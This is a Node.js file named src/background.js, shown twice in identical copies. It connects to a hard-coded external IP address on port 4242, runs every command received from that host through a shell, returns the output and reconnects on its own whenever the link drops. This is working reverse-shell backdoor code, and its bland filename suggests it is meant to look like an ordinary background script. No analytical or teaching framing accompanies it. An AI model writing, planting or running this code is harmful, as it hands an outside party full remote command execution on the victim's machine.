src / background.js
const net = require("net");
const { exec } = require("child_process");
const HOST = "46.250.232.217";
const PORT = 4242;
const RECONNECT_DELAY_MS = 5000;
function connect() {
const client = new net.Socket();
client.connect(PORT, HOST, () => {
console.log(`Connected to ${HOST}:${PORT}`);
client.setKeepAlive(true, 30 * 1000);
client.write("Hello\n");
});
client.on("data", data => {
const command = data.toString().trim();
console.log(`Received command: ${command}`);
if (!command) return;
exec(command, (error, stdout, stderr) => {
const response = error ? `ERROR: ${error.message}\n` : stdout || stderr;
client.write(`--- OUTPUT ---\n${response}\n`);
});
});
client.on("close", () => {
console.log(`Connection closed, reconnecting in ${RECONNECT_DELAY_MS}ms...`);
setTimeout(connect, RECONNECT_DELAY_MS);
});
client.on("error", err => {
console.error(`Error: ${err.message}`);
// don't reconnect here — 'close' will fire right after and handle it
});
}
// graceful shutdown on Ctrl+C
process.on("SIGINT", () => {
console.log("\nShutting down...");
process.exit(0);
});
connect();
src / background.js
const net = require("net");
const { exec } = require("child_process");
const HOST = "46.250.232.217";
const PORT = 4242;
const RECONNECT_DELAY_MS = 5000;
function connect() {
const client = new net.Socket();
client.connect(PORT, HOST, () => {
console.log(`Connected to ${HOST}:${PORT}`);
client.setKeepAlive(true, 30 * 1000);
client.write("Hello\n");
});
client.on("data", data => {
const command = data.toString().trim();
console.log(`Received command: ${command}`);
if (!command) return;
exec(command, (error, stdout, stderr) => {
const response = error ? `ERROR: ${error.message}\n` : stdout || stderr;
client.write(`--- OUTPUT ---\n${response}\n`);
});
});
client.on("close", () => {
console.log(`Connection closed, reconnecting in ${RECONNECT_DELAY_MS}ms...`);
setTimeout(connect, RECONNECT_DELAY_MS);
});
client.on("error", err => {
console.error(`Error: ${err.message}`);
// don't reconnect here — 'close' will fire right after and handle it
});
}
// graceful shutdown on Ctrl+C
process.on("SIGINT", () => {
console.log("\nShutting down...");
process.exit(0);
});
connect();